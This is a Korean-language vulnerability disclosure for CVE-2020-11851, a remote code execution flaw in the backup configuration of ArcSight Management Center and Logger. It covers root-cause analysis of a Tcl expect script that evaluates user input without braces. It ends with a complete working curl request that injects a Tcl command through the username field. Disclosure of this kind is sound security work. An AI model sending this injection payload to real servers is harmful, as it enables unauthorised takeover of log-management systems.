
ArcSight Logger의 원격 코드 실행 취약점
ArcSight Logger (ArcSight Management Center를 통해)에서의 원격 코드 실행 취약점
https://nvd.nist.gov/vuln/detail/CVE-2020-11851
취약점 배경ArcSight Logger는 조직 전반의 머신 데이터 로그를 통합 및 저장하고, 해당 데이터에 대한 빠른 검색 및 보고를 용이하게 하여 규정 준수 부담을 완화하고 보안 전문가의 신속한 포렌식 조사를 지원하는 포괄적인 로그 관리 솔루션입니다.
ArcSight Management Center(ArcMC)는 단일 인터페이스를 통해 ArcSight Logger, ArcSight SmartConnectors(Connectors), ArcSight FlexConnectors, ArcSight Connector Appliance(ConApp) 등 ArcSight 솔루션의 대규모 배포를 관리하는 중앙 집중식 보안 관리 센터입니다.
이 취약점은 ArcSight Management Center(버전: 2.7.1.2065.0)의 백업 기능을 통해 악용될 수 있습니다. 이 백업 옵션은 Tool Command Language(Tcl)를 사용하는 ArcSight Logger의 "expect" 스크립트를 통해 작동합니다. 이 취약점으로 인해 공격자는 임의의 Tcl 명령을 실행할 수 있습니다. 이 취약점은 Micro Focus ArcSight Logger 제품의 7.1.1 이전 모든 버전에 영향을 미칩니다.
결론취약한 소프트웨어를 실행 중인 서버는 공격자가 RCE 취약점을 통해 장악할 수 있으며, 공격자가 조직의 다른 서버에 대한 추가 공격을 시작할 수 있는 교두보가 되어 심각한 침해로 이어질 수 있습니다. 이 취약점으로 인해 데이터 손실, 데이터 손상 또는 승인되지 않은 당사자에 대한 데이터 공개, 책임 상실 또는 접근 거부가 발생할 수 있습니다.
권장 사항"expect" 스크립트에 대한 Tcl 보안 모범 사례를 확인하는 것이 좋습니다. 기본적으로 eval에서 중괄호를 사용하는 것이 다음과 같이 안전합니다.
eval puts $exploit ;# 취약
eval "puts $exploit" ;# 취약
eval {puts $exploit} ;# 안전
더 자세한 정보는 다음에서 확인할 수 있습니다: https://wiki.tcl-lang.org/page/Injection+Attack
이 섹션에서는 ArcSight Logger에서 취약점을 탐지하는 데 사용할 수 있는 명령 삽입 벡터에 대해 설명합니다. 아래 제목을 사용하여 공격 단계를 재현할 수 있습니다.
취약한 백업 옵션 탐색관리 탭에는 백업 옵션이 있습니다.

보시다시피 SCP 프로토콜을 사용하여 원격 백업 서버를 구성할 수 있습니다. "저장" 버튼을 클릭한 후, 여기(https://github.com/DominicBreuker/pspy/releases)에서 다운로드할 수 있는 "pspy" 도구를 사용하여 서버 프로세스를 디버깅했습니다.
서버 디버깅 및 근본 원인 분석백업 구성을 저장한 후, 애플리케이션이 SSH 서버를 확인하기 위해 아래와 같은 bash 스크립트를 사용하는 것을 발견했습니다(PID 95427 참조).

설명을 위해 더 자세한 명령(PID 95427)은 다음과 같습니다.
sh /opt/arcsight/current/arcsight/arcmc/config/logger/runexpect.sh /opt/arcsight/current/arcsight/arcmc/bin/filetransfer/lib/ /opt/arcsight/current/arcsight/arcmc/bin/filetransfer/lib/expect /opt/arcsight/current/arcsight/arcmc/tmp/scp.expect.dir.backup1 UserSuppliedPassword UserSuppliedUsernameAndHostname UserSuppliedPortNumber UserSuppliedBackupDirectory
"runexpect.sh"의 로직을 설명하기 전에 "runexpect.sh"와 "scp.expect.dir.backup1"(expect 스크립트)의 내용을 살펴보겠습니다.
다음은 "runexpect.sh"의 내용입니다.
#!/bin/sh
# Set LD_LIBRARY_PATH
export LD_LIBRARY_PATH=$1
echo "Assuming LD_LIBRARY_PATH in runexpect :" $LD_LIBRARY_PATH
shift
echo "Running command: $*"
$*
exit $?
그리고 "scp.expect.dir.backup1"이라는 expect 스크립트의 내용은 다음과 같습니다.
set password [lindex $argv 0]
set host [lindex $argv 1]
set port [lindex $argv 2]
set dir [lindex $argv 3]
eval spawn ssh -p $port $host test -d $dir && echo exists //취약점은 여기서 시작됩니다
expect "*(yes/no)?*$" { send "yes\n" }
set timeout 600
expect "*assword:*$" { send "$password\n" } \
timeout { exit 1 }
set timeout -1
expect "\\$ $"
보시다시피 "runexpect.sh"는 환경 변수(LD_LIBRARY_PATH)를 설정한 다음 "scp.expect.dir.backup1"이라는 "expect" 스크립트를 사용하여 "expect" 바이너리를 실행합니다. 이 "expect" 스크립트는 "ssh" 명령에서 사용할 4개의 인수를 받습니다.
실제 취약점은 "scp.expect.dir.backup1"이라는 스크립트의 5번째 줄에서 시작됩니다. 앞서 언급했듯이 Tcl 스크립트에서 중괄호 없이 사용자 입력을 사용하는 것은 매우 위험할 수 있습니다.
코드 실행 획득이 코드 실행 취약점은 완전히 블라인드 상태이기 때문에, 실행을 증명하기 위해 가장 간단한 방법을 사용했습니다. "pspy" 도구를 사용하여 프로세스를 디버깅하고 악의적인 HTTP 요청을 전송하여 임의 코드 실행을 설명했습니다.
다음은 제가 "expect" 스크립트가 실행하기를 원했던 로직입니다.
eval spawn ssh –p [exec id] test –d fakehostname && echo exists
[exec : 이것은 argv1입니다.
id] : 이것은 argv2입니다.
fakehostname : 이것은 argv3입니다.
예상되는 동작은 다음과 같습니다:
eval spawn ssh –p the_output_of_the_id_command test –d fakehostname && echo exists
# Tcl에서 [ ]는 bash의 ``와 비슷하기 때문입니다. Tcl 구문에 대한 자세한 내용은 https://wiki.tcl-lang.org/welcome을 방문하십시오.
이를 달성하는 방법을 설명하겠습니다. 관련 HTTP 요청의 "field-username" 매개변수의 "문자열" 사이에 공백을 넣으면, 인수 개수를 검증하지 않기 때문에 예기치 않게 "expect" 스크립트로 구문 분석됩니다. 즉, 포트 번호로 [exec를, 사용자 이름으로 id]를 삽입할 수 있습니다. 일반적으로 관련 HTTP 요청의 포트 번호 매개변수는 입력 검증(숫자만 허용) 때문에 삽입할 수 없습니다.
아래 HTTP 요청을 전송한 후, 명령을 성공적으로 실행하고 "pspy" 도구로 출력을 확인했습니다.


다음은 취약점을 악용하기 위해 사용한 CURL 요청입니다(세션 관련 토큰 및 대상은 수정 필요).
curl -i -s -k -X $'POST' \
-H $'Host: TARGET' -H $'User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0' -H $'Accept: text/javascript, text/html, application/xml, text/xml, */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'X-Requested-With: XMLHttpRequest' -H $'X-Prototype-Version: 1.5.1.2' -H $'Content-type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Content-Length: 463' -H $'Origin: https://hq-arc-mgmt' -H $'Connection: close' -H $'Referer: https://TARGET/arcmc/stand_alone_backup_config.ftl?menu_id=admin' -H $'Cookie: JSESSIONID=C49A27CF695535133EA896C38A41452A; com.arcsight.product.platform.logger.client.session.SessionContext.productName=\"ArcSight Management Center\"; com.arcsight.product.platform.logger.client.session.SessionContext.arcsightProductName=\"ArcSight Management Center\"; session_string=f2k5OHLthMlDaxUI6HMiah36hzg_sfwlqxEv24LKVAk.; user_id_seq=8' \
-b $'JSESSIONID=C49A27CF695535133EA896C38A41452A; com.arcsight.product.platform.logger.client.session.SessionContext.productName=\"ArcSight Management Center\"; com.arcsight.product.platform.logger.client.session.SessionContext.arcsightProductName=\"ArcSight Management Center\"; session_string=f2k5OHLthMlDaxUI6HMiah36hzg_sfwlqxEv24LKVAk.; user_id_seq=8' \
--data-binary $'editid=backup1&update=true&cancelurl=config_home.ftl&previousSubmit=false&asf_token=e151b811-42d6-4220-88cc-c20832597de9&field-protocol=SCP&field-port=22&field-host=originalHostInput&field-username=id]+[exec+fakeuser@fakeHostInput&field-password=fakePasswordInput123&field-filepath=%2Fbackup&schedule-editor-command1=everyday&schedule-editor-args1=&schedule-editor-command2=daily&schedule-editor-args2=12&schedule-editor-every-duration=hours&field-excludedata=All' \
$'https://TARGET/arcmc/stand_alone_backup_config_edit.ftl?&asf_token=e151b811-42d6-4220-88cc-c20832597de9'